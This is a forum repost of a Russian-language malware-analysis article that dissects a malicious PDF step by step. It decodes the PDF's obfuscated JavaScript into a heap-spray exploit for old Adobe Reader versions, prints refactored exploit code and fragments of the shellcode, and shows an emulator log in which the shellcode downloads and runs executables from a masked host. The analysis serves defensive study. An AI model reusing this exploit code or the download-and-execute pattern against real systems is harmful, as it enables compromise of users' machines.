+ Reply to Thread
Results 1 to 1 of 1

Thread: Анализ подозрительных PDF файлов

  1. #1
    root's Avatar

    Default Анализ подозрительных PDF файлов

    Источник: habrahabr.ru


    Несколько месяцев назад я столкнулся с интересной задачей по анализу подозрительного pdf файла. К слову сказать, обычно я занимаюсь анализом защищенности веб приложений и не только веб, и не являюсь большим экспертом в направлении malware analysis, но случай представился довольно любопытный.

    Практически все инструменты представленные в данной статье содержаться в дистрибутиве Remnux, созданном специально в целях reverse engineering malware. Вы можете сами загрузить себе образ виртуальной машины для VirtualBox или Vmware.

    Первым делом я проанализировал полученный экземпляр с помощью скрипта pdfid:

    Code:
    PDF Header: %PDF-1.3
    obj 11
    endobj 11
    stream 4
    endstream 4
    xref 1
    trailer 1
    startxref 1
    /Page 1
    /Encrypt 0
    /ObjStm 0
    /JS 1
    /JavaScript 1
    /AA 0
    /OpenAction 1
    /AcroForm 0
    /JBIG2Decode 0
    /RichMedia 0
    /Launch 0
    /EmbeddedFile 0
    /XFA 0
    /Colors > 2^24 0
    Сразу же обратил внимание на обнаруженные OpenAdction и JavaScript. Дальше использовал pdf-parser для парсинга файла:

    Code:
    obj 1 0
    Type: /Catalog
    Referencing: 2 0 R, 4 0 R
    
    <<
    /Type /Catalog
    /PageLayout /SinglePage
    /Pages 2 0 R
    /OpenAction 4 0 R
    >>
    Обратил внимание, что OpenAction вызывает JavaScript в 4-ом объекте, который в свою очередь связан с закодированным Flatedecode объектом S:

    Code:
    obj 4 0
    Type: /Action
    Referencing: 5 0 R
    <<
    /Type /Action
    /S /JavaScript
    /JS 5 0 R
    >>
    obj 5 0
    Type:
    Referencing:
    Contains stream
    
    <<
    /Length 394
    /Filter /FlateDecode
    >>
    Декодировал javascript код с помощью все того же pdf-parser:


    Привел к удобному виду, для этого можно воспользоваться js-beautify:

    Code:
    var sum = ''; var duct = 300; var os = ""; var pr = null; var num = 1; var func = 'd'; app.doc.syncAnnotScan(); if (app.plugIns.length < 1) { func += "4"; num = 0; } if (!(app.plugIns.length < 0)) { var xnm = { nPage: 0 }; pr = app.doc.getAnnots(xnm); sum = pr[num].subject; } if (app.plugIns.length > 2) { var buf = sum.split(/-/); var ap = this; var acc = ap [ "une" + "sca" + "pe" ]; var src = String ["fromC"+"harC"+"ode" ]; for (var n = 0; n < buf.length-1; n++) os += acc( src(37) + buf[n+1] ); func = ""; if (app.plugIns.length > 0) { if (!(app.plugIns.length > 0)) { func += "abd"; num = 123; } num = 0; ap ['ev' + func + src(77+20) + "l" ](os); num = 0; } }
    Неплохо. Также проанализировал файл с помощью отличной утилиты jsunpack:


    На первый взгляд им была обнаружена уязвимость CVE-2009-1492, связанная с выполнением произвольного кода или отказа в обслуживании через Adobe Reader и Adobe Acrobat версий 9.1, 8.1.4, 7.1.1 и ранних версий, с помощью pdf файла, содержащего annotaion и использующего метод getAnnots. Но если проверить мои результаты, полученные выше, с соответствующим exploit-ом, то обнаруживается, что эта уязвимость не имеет отношения к текущему случаю. В нашем варианте annotaion используется для хранения большой части скрипта в том числе в целях обфускации.

    Данные из annotaion вызываются методом getAnnots и находятся в объекте 9 нашего файла(как показал pdfparser). Сохраним полученный javascript код, добавив к нему поток из объекта 9. Обычно, первым шагом для безопасного выполнения кода является замена функции eval безобидным alert или console.log и открытии файла с помощью браузера. Также в этих целях можно использовать Spidermonkey. Основные необходимые нам функции и переменные уже определены в файле pre.js, который вы также можете обнаружить в дистрибутиве Remnux.


    Неплохо. После запуска Spidermonkey мы получили новый скрипт, который использует функции eval и поток данных из объекта 7:

    Code:
    function LnX6eI__qBoDrb5(Xj__TJe_0_j, Sut0_yx_4){
    var O_6__t8 = 20;
    var LK__SC__k = 0;
    var Yf2_7661XQk3t = 512;
    var M__D2__r_5_I7_D = O_6__t8;
    var k12_hf_0p2_30aB = "";
    var m57_Ww_VVKg = 4;
    var P_A7_cf7J = this ;
    var uvD2__e0__4W = "1234ee";
    var Ja4_hF_A41Ch510 = arguments;
    try {
    var YNS0B64n__I_E = 0;
    if (app){
    M__D2__r_5_I7_D = M__D2__r_5_I7_D + 2;
    Sut0_yx_4 = pr[YNS0B64n__I_E].subject;
    }
    uvD2__e0__4W = uvD2__e0__4W.replace(/\d+/, "call");
    }
    catch (e){
    }
    ….

    LnX6eI__qBoDrb5(0, "b02h8a6b5h47a7a0353ha0agbe863926927d6i399fc160145 50ebd6516171b6e243d5c5gcd4073a1795jaf7f5348a8aa589 53eab208d36cfb6c765479dcab32g4e221f3727140i4hc9667 ha1bh8ca1ba9g6003cc439f082042074e10150g7j3h8e.....
    ….
    ");

    После рефакторинга получаем:

    Code:
     function func_01(arg_0, arg_1) {
    var v0 = 20;
    var v1 = 0;
    var v2 = 512;
    var v3 = v0;
    var v4 = "";
    var v5 = 4;
    var v6 = this;
    var v7 = "1234ee";
    var v8 = arguments;
    try {
    var v9 = 0;
    if (app) {
    v3 = v3 + 2;
    arg_1 = pr[v9].subject;
    }
    v7 = v7.replace(/\d+/, "call");
    } catch (e) {}
    v3 = v3 - v0;
    var v10 = new Array();
    var v11 = 150;
    if (v11 > 0) {
    v10[0] = v11;
    v10[1] = v2;
    v10[0] = v10[0] - v11;
    v10[2] = v10[0];
    v10[1] = v10[1] - v2;
    v10[3] = v10[1];
    }
    if (arg_0) {
    v10 = arg_0;
    }
    if (!arg_0) {
    var v12 = v8[v7].toString(); //arguments.callee.toString();
    var v13 = 0;
    var v14 = v13;
    v11 = v11 - 102; //150 – 102 = 48
    var v15 = 0;
    while (v14 < v12.length) { //while(0<arguments.callee.toString().length);
    v15 = v12.charCodeAt(v14); // arguments.callee.toString().charCodeAt(0);
    if (v15 >= v11 && v15 <= 57) {
    if (v13 == v5) {
    v13 = -1;
    }
    if (v13 < 0) {
    v13 = 0;
    }
    v10[v13] += v15;
    if (v10[v13] > v2) {
    v10[v13] -= v2;
    }
    v13 = v13 + 1;
    }
    v14 = v14 + 1;
    }
    }
    var v16 = 0;
    var v17 = 0;
    var v18 = -1;
    var v19 = 0;
    var v20 = 0;
    do {
    var v21 = 256;
    if (v10[v19] > v21) {
    v10[v19] -= v21;
    }
    v19 = v19 + 1;
    } while (v19 < v5);
    v19 = v19 - v5;
    while (v19 < arg_1.length) {
    var v22 = arg_1.substr(v19, 1) + ' V V ';
    v19 = v19 + 1;
    var v23 = parseInt(v22, v0);
    if (v18 != -1) {
    v17 += v23;
    if (v16 == v5) {
    v16 = 0;
    }
    var v24 = v17;
    v24 = v24 - (v20 + 2) * v10[v16];
    if (v24 <= 0) {
    v24 = v24 - Math.floor(v24 / 256) * 256;
    }
    v24 = String.fromCharCode(v24);
    if (v3 == 1) {
    v4 += v23;
    } else if (v3 == 2) {
    v4 += v24;
    } else {
    v4 += v19;
    v18 = -2;
    }
    v18 = -1;
    v16 = v16 + 1;
    v20 = v20 + 1;
    } else if (v18 == -1) {
    v18 = v0;
    v17 = v23 * v0;
    }
    }
    var v25 = this;
    v25['eval'](v4);
    }
    func_01(0, "b02h8a......
    ….

    Наиболее интересная вещь в данном скрипте скрыта в переменной var v12 – это функция arguments.callee. Arguments.callee обозначает вызов самой текущей исполнемой функции. Таким образом этот код использует сам себя в целях обфускации. То есть если вы изменяете что то в текущем коде (как я делал ранее при рефакторинге или замене функции eval на alert) вы сломаете всю следующую часть расшифровки. Но не стоит отчаиваться. Статьи, описывающие подобные ситуации можно почитать: тут, тут и тут.

    В этом случае мы можем заменить вызов arguments.callee.toString().length на длину самой функции и идти дальше, заменяя вызов arguments.callee.toString().charCodeAt(0) первым символом в строке нашей функции.

    Нет необходимости декодировать весь код, достаточно выполнить полученный скрипт с данными с помощью все того же spidermonkey или воспользоваться jsunpack.


    Финальный скрипт выглядел так:

    Code:
    var C__IC5 = new Array();
    var c__fqx1kX_j7_o = 0;
    var f520T_5lgB_18Rk = "";
    function ki1K8ydoVI_X_f(E81L1G8LUs4H, a5_G7_Y){
    var M5Klbt_L = a5_G7_Y.toString();
    var UY__3N = "";
    ….
    if (app.viewerVersion == 9.103 && xr_1d__1g_Y < 9.13){
    xr_1d__1g_Y = 9.13;
    }
    if (!(xr_1d__1g_Y < 9 || xr_1d__1g_Y >= 9.2) || !(xr_1d__1g_Y < 8 || xr_1d__1g_Y >= 8.17)
    || !(xr_1d__1g_Y < 7 || xr_1d__1g_Y >= 7.14)){
    Y8tju_86jgt_g7d(xr_1d__1g_Y);
    }

    После рефакторинга получил:

    Code:
     var gvar_0 = new Array();
    var gvar_1 = 0;
    var gvar_2 = "";
    function func_01(arg_0, arg_1) {
    var v0 = arg_1.toString();
    var v1 = "";
    for (var v2 = 0; v2 < v0.length; v2++) {
    var v3 = parseInt(v0.substr(v2, 1));
    if (!isNaN(v3)) {
    v3 = v3.toString(16);
    if (v3.length == 1) {
    v3 = "0" + v3;
    } else if (v3.length != 2) {
    v3 = "00";
    }
    v1 = v3 + v1;
    }
    }
    while (v1.length < 8) {
    v1 = "0" + v1;
    }
    var v4 = arg_0.toString(16);
    if (v4.length == 1) {
    v4 = "0" + v4;
    } else if (v4.length != 2) {
    v4 = "00";
    }
    v1 = "3" + v4 + "P" + v1;
    return v1;
    }
    function func_02(arg_0, arg_1) {
    var v0 = new Array("");
    var v1 = arg_0;
    var x3l3Y5Us4__3;
    if ((x3l3Y5Us4__3 = arg_0.lastIndexOf("")) != -1) {
    if (x3l3Y5Us4__3 + 6 == arg_0.length) {
    v0[0] = arg_0.substr(x3l3Y5Us4__3 + 4, 2);
    v1 = arg_0.substring(0, x3l3Y5Us4__3);
    }
    }
    x3l3Y5Us4__3 = 1;
    for (fr___rItg7HCnRr = 0; fr___rItg7HCnRr < arg_1.length; fr___rItg7HCnRr++) {
    var v2 = arg_1.charCodeAt(fr___rItg7HCnRr).toString(16);
    if (v2.length == 1) {
    v2 = "0" + v2;
    }
    v0[x3l3Y5Us4__3] = v2;
    x3l3Y5Us4__3++;
    }
    fr___rItg7HCnRr = v0[0].length ? 0 : 1;v0[x3l3Y5Us4__3] = "00";v0[x3l3Y5Us4__3 + 1] = "00";x3l3Y5Us4__3 += 2;
    if ((v0.length - fr___rItg7HCnRr) % 2) {
    v0[x3l3Y5Us4__3] = "00";
    }
    while (fr___rItg7HCnRr < v0.length) {
    v1 += "%u" + v0[fr___rItg7HCnRr + 1] + v0[fr___rItg7HCnRr];
    fr___rItg7HCnRr += 2;
    }
    v1 += "";
    return v1;
    }
    function func_03(arg_0, arg_1) {
    while (arg_0.length * 2 < arg_1) {
    arg_0 += arg_0;
    }
    arg_0 = arg_0.substring(0, arg_1 / 2);
    return arg_0;
    }
    function func_04(arg_0, arg_1, gvar_3) {
    var v0 = 0x0c0c0c0c;
    var v1 = unescape(arg_1);
    var v2 = func_01(arg_0, arg_2);
    var v3 = unescape("邐邐邐⇫롙遐遐橑.....
    ….
    var v4 = "遐遐遐遐邐邐邐邐邐èü摟ァ砀謌 ీ炋괜%.....
    …..
    app.b5t8_3a = unescape(func_02(v4, v2));
    var v5 = 0x400000;
    var v6 = v3.length * 2;
    var v7 = v5 - (v6 + 0x38);
    v1 = func_03(v1, v7);
    var v8 = (v0 - 0x400000) / v5;
    for (var v9 = 0; v9 < v8; v9++) {
    gvar_0[v9] = v1 + v3;
    }
    }
    function func_05() {
    var v0 = "";
    for (fr___rItg7HCnRr = 0; fr___rItg7HCnRr < 12; fr___rItg7HCnRr++) {
    v0 += unescape("ఌఌ");
    }
    var v1 = "";
    for (fr___rItg7HCnRr = 0; fr___rItg7HCnRr < 750; fr___rItg7HCnRr++) {
    v1 += v0;
    }
    this.collabStore = Collab.collectEmailInfo({
    subj: "",
    msg: v1
    });
    app.clearTimeOut(gvar_1);
    }
    function func_06(arg_0) {
    var v0 = gvar_1;
    if ((arg_0 >= 8 && arg_0 < 8.11) || arg_0 < 7.1) {
    func_04(23, "ఌఌ", arg_0);
    app.d_AUYb_6j8_5r = func_05;
    gvar_1 = app.setTimeOut("app.d_AUYb_6j8_5r()", 1);
    }
    func_04(13, "ఌఌ", arg_0);
    if (v0) {
    app.clearTimeOut(v0);
    }
    }
    var gvar_3 = 0;
    var gvar_4 = app.plugIns;
    for (var gvar_5 = 0; gvar_5 < gvar_4.length; gvar_5++) {
    var gvar_6 = gvar_4[gvar_5].version;
    if (gvar_6 > gvar_3) {
    gvar_3 = gvar_6;
    }
    }
    if (app.viewerVersion == 9.103 && gvar_3 < 9.13) {
    gvar_3 = 9.13;
    }
    if (!(gvar_3 < 9 || gvar_3 >= 9.2) || !(gvar_3 < 8 || gvar_3 >= 8.17) || !(gvar_3 < 7 || gvar_3 >= 7.14)) {
    func_06(gvar_3);

    Проведя небольшой анализ было расскрыто:
    1. Confirm jsunpack's suggestion about function Collab.collectEmailInfo and heap spray:

      Code:
      v0 += unescape("ఌఌ"); // hex 0x0c0c0c0c is a popular data in heap spray exploits.
      this.collabStore = Collab.collectEmailInfo({
      subj: "",
      msg: unescape("ఌఌ")
      });

      Детали уязвимости описаны тут. Пару публичных эксплоитов можно обнаружить тут и там.

      Как видно во втором случае используются наши unescape("ఌఌ") и this.collabStore = Collab.collectEmailInfo({subj: "",msg: #{rand12}});
    2. В функции func_04 использована переменная var v0 также со значением 0x0c0c0c0c, что как бы намекает на наличие heap spray эксплоита. Почему это значение столь популярно можно почитать тут.

      В переменных v3, v4 просматривается shellcode из-за наличия серии NOP инструкций в начале значений переменных.

      Чтобы подтвердить мои предположения я использовал эмулятор libemu из бесплатного продукта PDFStreamDumper со значением, взятым из переменной v4. Также libemu вы можете найти и в Remnux:


      Бинго. Обнаружился URL xxxxxx.info/cgi-bin/io/n002101801r0019Rf54cb7b8Xc0b46fb2Y8b008c85Z02f0101 0 который и использовался для загрузки с последующем исполнением нашего вредоноса:

      Code:
      Extracted URL: http://xxxxxxxx.info/cgi-bin/io/n002101801r0019Rf54cb7b8Xc0b46fb2Y8b008c85Z02f01010
      0x91 push_urlmon (signature)
      
      Unpack Log:
      --------------------------------------------------
      Loaded 4b8 bytes from file .\tmp.sc
      Detected %u encoding input format converting...
      Byte Swapping %u encoded input buffer..
      Memory monitor enabled..
      Initilization Complete..
      Dump mode Active...
      Max Steps: 2000000
      Using base offset: 0x401000
      
      401055 LoadLibraryA(urlmon)
      401084 GetTempPathA(len=104, buf=12fce0) = 22
      4010bc URLDownloadToFileA(http://xxxx.info/cgi-bin/io/n002101801r0019Rf54cb7b8Xc0b46fb2Y8b008c85Z02f010100, C:\Users\Admin\AppData\Local\Temp\lthm.exe)
      4010c7 WinExec(C:\Users\Admin\AppData\Local\Temp\lthm.exe)
      4010bc URLDownloadToFileA(http://xxxxc.info/cgi-bin/io/n002101801r0019Rf54cb7b8Xc0b46fb2Y8b008c85Z02f010101, C:\Users\Admin\AppData\Local\Temp\egWl.exe)
      4010c7 WinExec(C:\Users\Admin\AppData\Local\Temp\egWl.exe)
      4010bc URLDownloadToFileA(http://xxxxx.info/cgi-bin/io/n002101801r0019Rf54cb7b8Xc0b46fb2Y8b008c85Z02f010102, C:\Users\Admin\AppData\Local\Temp\CqTM.exe)
      4010c7 WinExec(C:\Users\Admin\AppData\Local\Temp\CqTM.exe)
      4010d5 ExitProcess(1432107587)
      
      Stepcount 300624
      Primary memory: Reading 0x192 bytes from 0x401000
      Scanning for changes...
      Change found at 287 dumping to .\tmp.unpack
      Data dumped successfully to disk
      
      Memory Monitor Log:
      *PEB (fs30) accessed at 0x40101f
      peb.InInitializationOrderModuleList accessed at 0x40102a

    3. Также параметры сравнения, обнаруженные в скрипте:

      Code:
      if (!(gvar_3 < 9 || gvar_3 >= 9.2) || !(gvar_3 < 8 || gvar_3 >= 8.17) || !(gvar_3 < 7 || gvar_3 >= 7.14)) {
      func_06(gvar_3);

      выглядят также как описано в CVE-2009-2990: Ошибка индекса в массиве Adobe Reader и Acrobat 9.x до версии 9.2, 8.x и 8.1.7, а также с версии 7.x до 7.1.4 позволяет выполнить произвольный код.

      В кодируемом FlateDecode потоке объекта 11 мы также обнаруживаем код в U3D:

      Code:
      /Subtype /U3D
      /Length 27384
      /Filter /FlateDecode
      >>
      
      'U3D\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00$\x00\x00\x00\x80\xb6\x02\x00\x00\x00\x00\x00j\x00\x00\x00\x15\xff\xff\xff\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\xff\xff\xff\x88\x00\x00\x00\x00\x00\x00\x00\t\x00VcgMesh01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"\xff\xff\xffb\x00\x00\x00\x00\x00\x00\x00\t\x00VcgMesh01

    Теперь мы имеем URL, Shellcode, несколько CVE и этого вполне достаточно для данной статьи.
    Last edited by root; 25-01-2014 at 09:55.
    Успех – это путь от провала до провала без потери энтузиазма. (В. Черчиль)

    Не бойся идти медленно, бойся остановиться. (Китайская пословица)

    When you lose fun and start doing things only for the payback, you're dead. (c) TCLH (Phrack 65, Intro)

+ Reply to Thread

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
All times are GMT. The time now is 01:31
vBulletin® Copyright ©2000 - 2018
www.reverse4you.org